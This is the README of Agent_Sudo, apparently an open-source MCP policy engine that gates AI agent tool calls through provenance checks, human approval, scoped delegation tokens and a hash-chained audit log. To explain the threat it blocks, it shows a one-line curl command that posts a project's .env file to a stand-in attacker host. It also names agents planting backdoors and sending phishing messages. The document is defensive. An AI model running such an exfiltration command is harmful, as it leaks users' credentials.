Kisyntra/Agent_Sudo
GitHub: Kisyntra/Agent_Sudo
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# Agent_Sudo
` resolves the absolute `agent-sudo-mcp` path for you. (With no client *and* no terminal — e.g. in CI — `agent-sudo setup` lists the targets and exits non-zero rather than prompting.) Interactive approvals additionally need `agent-sudo init-approval` (see [First Run](docs/first_run.md)); the delegation-based evaluation does not.
{
"mcpServers": {
"agent-sudo": {
"command": "/ABS/PATH/TO/agent-sudo-mcp",
"args": [
"--audit-log", "/ABS/HOME/.agent-sudo/mcp-audit.jsonl",
"--delegations-file", "/ABS/HOME/.agent-sudo/delegations.json",
"--pending-approvals-file", "/ABS/HOME/.agent-sudo/pending_approvals.json",
"--workspace", "/ABS/PATH/TO/your/project",
"--notify", "--open-approval-terminal"
]
}
}
}
Use absolute paths: the client launches the server from a directory you do not control. **`--delegations-file` is required** — without it the server runs with no delegation store and `agent-sudo delegate create` tokens are silently ignored. `--notify` / `--open-approval-terminal` are macOS-only (no-ops elsewhere). Each flag and value is a separate string in `args`.
Restart Claude Desktop, ask it to use an Agent_Sudo tool, then verify the action was routed through the engine — pass the **same** audit-log path you configured:
agent-sudo audit list "$HOME/.agent-sudo/mcp-audit.jsonl"
## Trust Boundaries: What Is and Is Not Protected
Agent_Sudo only sees the tool calls that are **routed through it**. This is the single most important thing to understand before relying on it.
| ✅ Protected | ❌ Not protected |
| :--- | :--- |
| Tool calls made through the `agent-sudo` adapter (file reads/writes, shell, network) — gated, classified, and logged | A client's **own native/built-in tools** (e.g. Claude Desktop's built-in file or web tools) that don't go through Agent_Sudo |
| Any runtime where dangerous tools are disabled or explicitly proxied through the engine | **Other MCP servers** you've installed that expose filesystem/shell/network directly to the agent |
| Intent-level decisions: provenance, approval gates, delegation scopes, audit | OS-level isolation (use Docker/VM for that — see [comparison](docs/comparison/sandboxes.md)) |
**How to make sure you're actually protected:**
1. Route the agent's risky capabilities through the `agent-sudo` adapter (see the [Claude Desktop Setup Guide](docs/integrations/claude_desktop_setup.md)).
2. Disable or remove **other** tools that grant the agent direct file/shell/network access and bypass the engine.
3. **Verify with the audit log.** Ask the agent to perform an action, then run `agent-sudo audit list`. If the action is recorded, it went through Agent_Sudo. **If it is *not* in the log, it bypassed Agent_Sudo and was not protected** — that capability still needs to be disabled or routed through the engine.
This is a deliberate scope choice, not a defect: Agent_Sudo governs *intent and authorization* for the tools it mediates. Pair it with OS-level isolation (Docker/Firecracker) for environment containment.
### What Agent_Sudo Does and Does Not Protect
**What it is:** a policy-and-provenance engine with human approval gates, scoped delegation, and a tamper-evident (hash-chained) audit log — for the tool calls routed through it.
**Protects:**
- **Excessive agency** — sensitive/critical actions (shell, critical file writes, external posts) require human approval before they run.
- **Untrusted-origin actions** — actions whose provenance is external content (e.g. a fetched web page) are escalated or denied based on *where the instruction came from*, not its wording.
- **Tamper-evident audit** — every decision is recorded to a SHA-256 hash-chained log that `agent-sudo verify-audit` can check for after-the-fact edits.
- **Scoped delegation** — temporary, resource-limited tokens grant narrow access that expires automatically.
**Does not protect:**
- **Tools that bypass the engine** — a client's native tools or other MCP servers that don't route through Agent_Sudo are neither gated nor audited.
- **Prompt injection as a content-security problem** — Agent_Sudo does **not** reliably detect injected instructions in prose. The built-in phrase detector is a **best-effort tripwire** that flags a few literal strings; the real protection is provenance-based escalation, not text matching.
- **OS-level isolation** — it is not a sandbox; pair it with Docker/Firecracker for filesystem/process containment.
- **A compromised local environment** — anyone with your local shell can approve pending actions or edit config directly.
See the [Security & Threat Model](docs/architecture/security_model.md) for the full analysis.
## Why Agent_Sudo If I Already Use Docker?
A common question from security engineers and developers is: *"Why do I need a policy engine if I am already isolating my agents in a Docker container, gVisor sandbox, or Firecracker microVM?"*
The difference is a separation of concerns:
* **Docker/Firecracker/Sandboxes** answer: **"Where can code run?"** They isolate the process from the host operating system, preventing an agent from escaping to your local machine, but they do *not* monitor what the agent is doing inside the sandbox.
* **Agent_Sudo** answers: **"Is this action authorized?"** It operates at the intent and application logic level, evaluating the context, provenance, and authorization rules of individual actions before execution.
### Practical Examples
Even inside a perfectly isolated Docker container, an agent with raw tool access can:
1. **Exfiltrate Secrets**: Run `curl -X POST -d @.env https://attacker.example` to leak your API keys. A VM allows outbound network requests by default; Agent_Sudo detects the source trust and target, blocking the exfiltration.
2. **Write/Inject Code**: Edit your project's `main.py` to insert a backdoor or dependency. While Docker prevents host pollution, it cannot prevent the agent from corrupting your project workspace. Agent_Sudo flags critical file edits and requires human confirmation.
3. **Perform Social Engineering**: Send automated emails, Slack messages, or Discord alerts to external users containing phishing links under the guise of the agent owner. Agent_Sudo gates communication tools based on user approvals.
4. **Exceed Delegation Scopes**: An agent running an automated build pipeline might accidentally or maliciously call tools outside its intended scope. Agent_Sudo uses **temporary delegation tokens** to automatically lock the agent out once its quota or time-to-live expires.
These two layers are **complementary**: use Docker/VM sandboxes to isolate environment resources, and use Agent_Sudo to validate tool execution intent. For a detailed technical breakdown, see [Agent_Sudo vs. Container/VM Sandboxes](docs/comparison/sandboxes.md).
## Core Capabilities
Ordered by what distinguishes Agent_Sudo, with approval gates as one enforcement mechanism among them.
- **Provenance-Based Enforcement**: Classifies each action by the trust of its *origin*. Actions whose instruction traces back to untrusted external content are escalated or denied based on *where they came from*, independent of wording. This is the protection behind the [60-second demo](#see-the-difference-in-60-seconds) — not a prompt-injection text detector.
- **Scoped Delegation**: Issues temporary, resource-limited permission tokens (e.g., allow read access to `/path/to/project` for 2 hours, max 10 uses) that expire automatically — narrow authority an agent can use unsupervised, then loses.
- **Authorization & Protected Reads**: Automatically blocks reads targeting private files such as credentials, configuration folders, and shell startup scripts, and upgrades ordinary file writes to critical status when the target is executable code or configuration.
- **Verifiable Audit Logs**: Records all tool attempts and engine decisions to a local JSONL log secured with a SHA-256 hash chain to detect tampering. Review them with `agent-sudo audit list`, or verify integrity with `agent-sudo verify-audit`.
- **Approval Gates**: Prompts for interactive confirmation (CLI yes/no) on sensitive actions, and requires a local passphrase for critical actions (e.g., running shell commands) — the human-in-the-loop step inside the boundary.
- **MCP Adapter**: Implements the Model Context Protocol to plug directly into Claude Desktop and other MCP clients as a stdio server — the first production-ready way to connect the engine.
## Framework Example Templates
Agent_Sudo has pre-built example templates showing in-process integration for major Python agent frameworks. These demonstrate the engine embedded directly, beyond the MCP adapter:
* ✓ **[OpenAI Agents SDK](examples/openai_agents_sdk/)** — pre-wrapping assistant tool functions.
* ✓ **[PydanticAI](examples/pydantic_ai/)** — **canonical end-to-end dogfood**: a real (deterministic, offline) agent loop driving engine decisions, real file I/O, scoped delegation, and verified audit.
* ✓ **[LangGraph](docs/examples/langgraph.md)** — securing tool node execution and graph states ([examples/langgraph_integration.py](examples/langgraph_integration.py)).
* ✓ **[agent-runtimes](examples/agent_runtimes/)** — registering the local tool hooks handler in config.
## Additional Demos
### Built-In Policy Demo
Run a local dry-run policy demo:
agent-sudo demo
This is useful for seeing policy decisions quickly. It is not the primary activation path because it does not show the full deny → delegate → allow once → deny exhausted loop.
The full evaluation flow and the broader integration guides are reference material after the [60-second demo](#see-the-difference-in-60-seconds) and the [5-minute evaluator path](#evaluate-agent_sudo-in-5-minutes) succeed.
## Contributor Setup
If you are developing `Agent_Sudo` or integrating it with a custom runtime:
# Clone the repository
git clone https://github.com/Kisyntra/Agent_Sudo.git
cd Agent_Sudo
# Install in editable mode
python3 -m pip install -e .
To run unit tests:
python3 -m unittest discover -s tests
# Ecosystem
MCP is the production-ready adapter today. Other runtime integrations exist at varying maturity — we work with agent runtime maintainers and external implementers to define portable authorization and audit patterns. Maturity is stated honestly below; this is not broad runtime adoption yet.
* **Production-ready adapter**:
* **MCP** — published as `io.github.Kisyntra/agent-sudo-mcp`. [PyPI](https://pypi.org/project/agent-sudo-mcp/) • [Official MCP Registry](https://registry.modelcontextprotocol.io/v0/servers?search=agent-sudo-mcp) • [Glama listing](https://glama.ai/mcp/servers/Kisyntra/Agent_Sudo).
* **Merged integrations**:
* **[agent-runtimes](https://github.com/datalayer/agent-runtimes)** — local plugin hook handler (`agent_sudo_local`), merged in PR #98.
* **In progress**:
* **[LexFlow](https://github.com/VforVitorio/LexFlow)** — design review (#124) for native JS/TS client audit logging and verification.
* **Research / local PoC**:
* **[Hermes](https://github.com/NousResearch/hermes-agent)** — experimental architecture research (#34992) targeting registry-level dispatch gating.
For the full compatibility matrix and integration details, see the [Ecosystem Status Guide](docs/ecosystem/ecosystem_status.md).
## Documentation Directory
| Directory / Section | Topic | Key Files |
| :--- | :--- | :--- |
| **Evaluation** | First-time activation path | [Evaluate in 5 Minutes](docs/evaluate_5_minutes.md) • [First Run Reference](docs/first_run.md) |
| **CLI Reference** | Every command, when to use it, common mistakes | [Command Reference](docs/command_reference.md) |
| **Troubleshooting** | Diagnostics and resolution steps | [docs/troubleshooting.md](docs/troubleshooting.md) |
| **Integrations** | Connecting to runtimes and IDEs | [docs/integrations/overview.md](docs/integrations/overview.md) • [Ecosystem Status](docs/ecosystem/ecosystem_status.md) • [Outreach Playbook](docs/ecosystem/outreach_playbook.md) • [Adoption Dashboard](docs/ecosystem/adoption_dashboard.md) • [Discoverability Notes](docs/ecosystem/discoverability_notes.md) • [LexFlow Readiness](docs/ecosystem/lexflow_readiness.md) • [LexFlow Checklist](docs/ecosystem/lexflow_compatibility_checklist.md) • [Claude Desktop](docs/integrations/claude_desktop_setup.md) • [MCP Setup](docs/integrations/mcp_server_setup.md) • [agent-runtimes](docs/integrations/agent-runtimes.md) • [Hermes (Research)](docs/integrations/hermes-research.md) |
| **Framework Integrations** | Direct SDK gating for agent frameworks | [LangGraph Integration Guide](docs/examples/langgraph.md) • [examples/langgraph_integration.py](examples/langgraph_integration.py) |
| **Architecture** | Abstractions and core pipelines | [docs/architecture/overview.md](docs/architecture/overview.md) • [Layered Architecture](docs/architecture/layered_architecture.md) • [Enforcement Model](docs/architecture/enforcement_model.md) |
| **Specifications** | Language-agnostic models | [spec/runtime_compatibility_levels.md](spec/runtime_compatibility_levels.md) • [Universal Schema](spec/universal_schema.md) • [Policy & Audit](spec/policy_audit_schema.md) • [Interoperability Test Kit](docs/interop/interoperability_test_kit.md) |
| **Security** | Threat modeling and limits | [docs/architecture/security_model.md](docs/architecture/security_model.md) |
| **Comparisons** | Policy vs Container Sandboxes | [Docker & Firecracker comparison](docs/comparison/sandboxes.md) |
## CI/CD & Release Automation
`Agent_Sudo` uses GitHub Actions to automate checks and distribution:
- **Continuous Integration**: The CI workflow runs on all pushes and pull requests targeting the `main` branch, running the unittest suite, scanning for personal path disclosures, executing `git diff --check` whitespace validation, and verifying Python package compilation.
- **Automated Releases**: Releases are generated automatically when a git tag matching `v*` is pushed.
- Release candidate tags (e.g. `v0.4.0-rc12`) are published as GitHub Prereleases and are explicitly excluded from being marked as the latest release.
- Release notes are automatically parsed and extracted from the matching version entry in `CHANGELOG.md`.
